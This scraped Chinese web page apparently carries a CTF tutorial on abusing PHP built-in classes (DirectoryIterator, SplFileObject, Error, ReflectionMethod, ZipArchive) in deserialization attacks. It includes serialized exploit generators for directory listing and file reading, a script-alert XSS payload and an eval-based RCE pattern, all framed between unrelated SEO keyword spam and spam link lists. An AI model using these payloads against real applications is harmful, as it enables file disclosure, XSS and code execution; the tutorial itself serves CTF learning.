当前位置: 首页 > news >正文

八度填写icp备案网站 接入信息成都网站优化方案

八度填写icp备案网站 接入信息,成都网站优化方案,联通公司网站谁做的,温州网站建设小程序什么是php原生类 原生类就是php内置类#xff0c;不用定义php自带的类#xff0c;即不需要在当前脚本写出#xff0c;但也可以实例化的类 我们可以通过脚本找一下php原生类 ?php $classes get_declared_classes(); foreach ($classes as $class) {$methods get_clas…什么是php原生类 原生类就是php内置类不用定义php自带的类即不需要在当前脚本写出但也可以实例化的类 我们可以通过脚本找一下php原生类 ?php $classes get_declared_classes(); foreach ($classes as $class) {$methods get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array(__destruct,__toString,__wakeup,__call,__callStatic,__get,__set,__isset,__unset,__invoke,__set_state))) {print $class . :: . $method . \n;}} } 几个ctf常用的php原生类  遍历文件目录的类 DirectoryIterator 类 类介绍 DirectoryIterator extends SplFileInfo implements SeekableIterator {     /* 方法 */     public __construct ( string $path )     public current ( ) : DirectoryIterator     public getATime ( ) : int     public getBasename ( string $suffix ? ) : string     public getCTime ( ) : int     public getExtension ( ) : string     public getFilename ( ) : string     public getGroup ( ) : int     public getInode ( ) : int     public getMTime ( ) : int     public getOwner ( ) : int     public getPath ( ) : string     public getPathname ( ) : string     public getPerms ( ) : int     public getSize ( ) : int     public getType ( ) : string     public isDir ( ) : bool     public isDot ( ) : bool     public isExecutable ( ) : bool     public isFile ( ) : bool     public isLink ( ) : bool     public isReadable ( ) : bool     public isWritable ( ) : bool     public key ( ) : string     public next ( ) : void     public rewind ( ) : void     public seek ( int $position ) : void     public __toString ( ) : string    // 以字符串形式获取文件名     public valid ( ) : bool } 可以看到这里有我门常见的__construct和__toString这里我们可以反序列化利用  这里会创建一个指定目录的迭代器。当执行到echo函数时会触发DirectoryIterator类中的 __toString() 方法输出指定目录里面经过排序之后的第一个文件名 测试代码 ?php $a new DirectoryIterator(/); echo $a; echo以字符串的形式输入会触发 __toString()以字符串的形式输入根目录的第一个文件名 也可以结合glob协议进行多目录遍历 ?php $a new DirectoryIterator(glob://f*); echo $a; 如果想显示所有的文件可以用foreach函数来遍历比如 ?php $a new DirectoryIterator(/); foreach($a as $f){echo($f.br); } FilesystemIterator 基本和DirectoryIterator一样 GlobIterato 名字可以看出这个类是自带glob协议的所以不用再使用glob协议了例如 ?php $a new GlobIterator(/); echo $a; 文件读取类  SplFileObject 当用文件目录遍历到了敏感文件时可以用SplFileObject类同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符所以必须先获取到完整文件名称才行)而且这个方法只能读一行 test1 ?php error_reporting(0); highlight_file(__FILE__);class a{public $key;public $value;public function __wakeup(){echo new $this-key($this-value);} }unserialize($_GET[a]);? 这个反序列化没有任何可以直接利用的魔法函数只有一个wakeup可以进入 echo new $this-key($this-value); 构造exp很简单只需要让key值赋为我们想得的原生函数value赋为路径查就完了但是这个方法的局限性就是只能查一个路径上的第一个文件。 ?php class xxh{public $key;public $value;public function __wakeup(){echo new $this-key($this-value);} }$a new xxh(); $a-keySplFileObject; $a-value./; echo serialize($a); ? PHP 原生ErrorException类(XSS实现与hash绕过) Error内置类 适用于php7 开启报错的情况下 Error类是php 的一个内置类用于自动自定义一个Error 在php7的情况下可能会造成一个xss漏洞因为他内置有一个 __toString()方法在ctf反序列化中如果flag在cookie中可以尝试利用Error去触发__toString() ?php$a unserialize($_GET[xxh]); echo $a; ?php $a new Error(scriptalert(1)/script); echo serialize($a); Excepthin 内置类  适用于 php57 开启报错的情况下: ?php$a unserialize($_GET[xxh]); echo $a; exp ?php$a new Error(scriptalert(1)/script); $b serialize($a); echo urlencode($b); 也可以成功弹窗 命令执行 如果有eval的话就可以rce ?php $a $_GET[a]; $b $_GET[b]; eval(echo new $a($b());); ? 这就不限于Error函数了、 其他类 ReflectionMethod类 他本身具有的方法 class ReflectionMethod extends ReflectionFunctionAbstract implements Reflector { /*方法*/ReflectionMethod::__construct — ReflectionMethod 的构造函数ReflectionMethod::export — 输出一个回调方法ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口译者注可以使用这个返回值直接调用非公开方法。ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例ReflectionMethod::getModifiers — 获取方法的修饰符ReflectionMethod::getPrototype — 返回方法原型 (如果存在)ReflectionMethod::invoke — InvokeReflectionMethod::invokeArgs — 带参数执行ReflectionMethod::isAbstract — 判断方法是否是抽象方法ReflectionMethod::isConstructor — 判断方法是否是构造方法ReflectionMethod::isDestructor — 判断方法是否是析构方法ReflectionMethod::isFinal — 判断方法是否定义 finalReflectionMethod::isPrivate — 判断方法是否是私有方法ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)ReflectionMethod::isPublic — 判断方法是否是公开方法ReflectionMethod::isStatic — 判断方法是否是静态方法ReflectionMethod::setAccessible — 设置方法是否访问ReflectionMethod::__toString — 返回反射方法对象的字符串表达/*继承的方法*/final private ReflectionFunctionAbstract::__clone(): voidpublic ReflectionFunctionAbstract::getAttributes(?string $name null, int $flags 0): arraypublic ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClasspublic ReflectionFunctionAbstract::getClosureThis(): objectpublic ReflectionFunctionAbstract::getDocComment(): stringpublic ReflectionFunctionAbstract::getEndLine(): intpublic ReflectionFunctionAbstract::getExtension(): ReflectionExtensionpublic ReflectionFunctionAbstract::getExtensionName(): stringpublic ReflectionFunctionAbstract::getFileName(): stringpublic ReflectionFunctionAbstract::getName(): stringpublic ReflectionFunctionAbstract::getNamespaceName(): stringpublic ReflectionFunctionAbstract::getNumberOfParameters(): intpublic ReflectionFunctionAbstract::getNumberOfRequiredParameters(): intpublic ReflectionFunctionAbstract::getParameters(): arraypublic ReflectionFunctionAbstract::getReturnType(): ?ReflectionTypepublic ReflectionFunctionAbstract::getShortName(): stringpublic ReflectionFunctionAbstract::getStartLine(): intpublic ReflectionFunctionAbstract::getStaticVariables(): arraypublic ReflectionFunctionAbstract::hasReturnType(): boolpublic ReflectionFunctionAbstract::inNamespace(): boolpublic ReflectionFunctionAbstract::isClosure(): boolpublic ReflectionFunctionAbstract::isDeprecated(): boolpublic ReflectionFunctionAbstract::isGenerator(): boolpublic ReflectionFunctionAbstract::isInternal(): boolpublic ReflectionFunctionAbstract::isUserDefined(): boolpublic ReflectionFunctionAbstract::isVariadic(): boolpublic ReflectionFunctionAbstract::returnsReference(): boolabstract public ReflectionFunctionAbstract::__toString(): void 可以看到这里也有一个__toString函数也可以触发反序列化漏洞  ReflectionMethod 类中有很多继承方法可以使用比如这个 getDocComment() 方法我们可以用它来获取类中各个函数注释内容 ?php show_source(__FILE__); class a //flag{123}public function a(){} } $a $_GET[a]; $b $_GET[b]; $c $_GET[c]; $dnew $a($b,$c); echo($d-getDocComment()); ? ?aReflectionMethodbacb 利用原生类ReflectionMethod中的getDocComment()函数类读取注释 ZipArchive类 可以通过本类执行一些文件操作在CTF可以用来删除waf open(打开一个压缩包文件) $zip new \ZipArchive;$zip-open(test_new.zip, \ZipArchive::CREATE) 常用方法  ZipArchive::addEmptyDir添加一个新的文件目录 ZipArchive::addFile将文件添加到指定zip压缩包中 ZipArchive::addFromString添加新的文件同时将内容添加进去 ZipArchive::close关闭ziparchive ZipArchive::extractTo将压缩包解压 ZipArchive::open打开一个zip压缩包 ZipArchive::deleteIndex删除压缩包中的某一个文件如deleteIndex(0)代表删除第一个文件 ZipArchive::deleteName删除压缩包中的某一个文件名称同时也将文件删除
http://www.w-s-a.com/news/222604/

相关文章:

  • 成都科技网站建设注册公司最少需要多少注册资金
  • 找公司做网站注意事项麻城建设局网站停办
  • 沧州企业做网站wordpress 消息通知
  • 网站开发外包计入什么科目怎样申请网站空间
  • 西安建设局网站小孩把巴塘网站建设
  • 做网站 客户一直要求改郑州做优惠券网站的公司
  • 专门做特卖的网站是什么东北石油大学秦皇岛吧
  • 网站建设需要云主机吗wordpress 下载数据表插件
  • 集团网站建设哪个好石龙镇仿做网站
  • 网站建设费税率是多少项目备案信息查询
  • 网站开发php有哪些权威发布型舆情回应
  • 凡科建站有哪些弊端百度手机怎么刷排名多少钱
  • 南山网站公司在招聘网站做销售工资高吗
  • 百度联盟怎么加入赚钱合肥seo按天收费
  • 网站建设与用户需求分析加盟店排行榜加盟项目排行榜
  • 柳州市诚信体系建设网站wordpress建手机网站吗
  • 网站策划书是什么水产公司网站源码
  • 温州做网站多少钱网站服务器机房
  • 网站公司设计 网站首页什么网站专门做图片
  • 书店网站怎么做网站点击快速排名
  • 太阳镜商城网站建设公司做网站
  • 如何制作个人作品网站宣传片拍摄合同
  • 关于微网站策划ppt怎么做做插画的网站
  • 做设计网上揽活哪个网站最好中企动力算大厂吗
  • 电子商务网站开发常用工具牡丹江吧
  • 四川成都网站制作公司wordpress 获取某个分类的文章
  • wordpress 编辑器推动门户网站建设不断优化升级
  • 做游戏网站的前景温江区建设局网站
  • 济南做微网站推广做网站seo优化总结
  • 巢湖网站建设电话长沙大型互联网公司